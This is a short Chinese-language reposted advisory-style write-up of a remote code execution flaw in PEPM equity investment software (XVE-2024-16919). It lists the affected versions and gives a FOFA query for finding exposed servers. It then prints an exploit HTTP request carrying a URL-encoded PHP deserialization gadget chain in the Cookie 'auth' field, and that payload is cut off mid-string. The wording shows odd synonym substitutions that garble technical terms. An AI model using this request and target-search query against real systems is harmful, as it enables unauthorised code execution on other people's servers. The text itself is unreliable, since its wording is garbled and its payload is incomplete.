PEPM Cookie 远程代码执行毛病复现(XVE-2024-16919)

0x01 产品简介


PEPM是由苏州梓川信息科技有限公司开辟的中国领先股权投资管理软件。PEPM致力于将成熟互联网技术与企业业务应用结合，为用户提供专业、易用且低本钱的软件服务。PEPM覆盖了募、投、管、退等基金运营和业绩管理的各个环节，满足投资机构从项目筛选、尽职调查、投资决策、投后管理到退出整理的全流程管理需求。
0x02 毛病概述

PEPM系统存在远程代码执行毛病，Cookie的auth字段存在反序列化毛病，攻击者可构造反序列化链天生恶意数据，执行恣意PHP代码。
0x03 影响范围

PEPM  < V6.7.3.20240507.Release
0x04 复现环境

FOFA：header="pepm"

0x05 毛病复现

Exp

1. GET / HTTP/1.1
2. Host:
3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
4. Cookie: auth=a%3A1%3A%7Bi%3A0%3BO%3A18%3A%22phpseclib%5CNet%5CSSH1%22%3A2%3A%7Bs%3A6%3A%22bitmap%22%3Bi%3A1%3Bs%3A6%3A%22crypto%22%3BO%3A19%3A%22phpseclib%5CCrypt%5CAES%22%3A8%3A%7Bs%3A6%3A%22bitmap%22%3Bi%3A1%3Bs%3A6%3A%22crypto%22%3Bi%3A1%3Bs%3A10%3A%22block_size%

复制代码

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。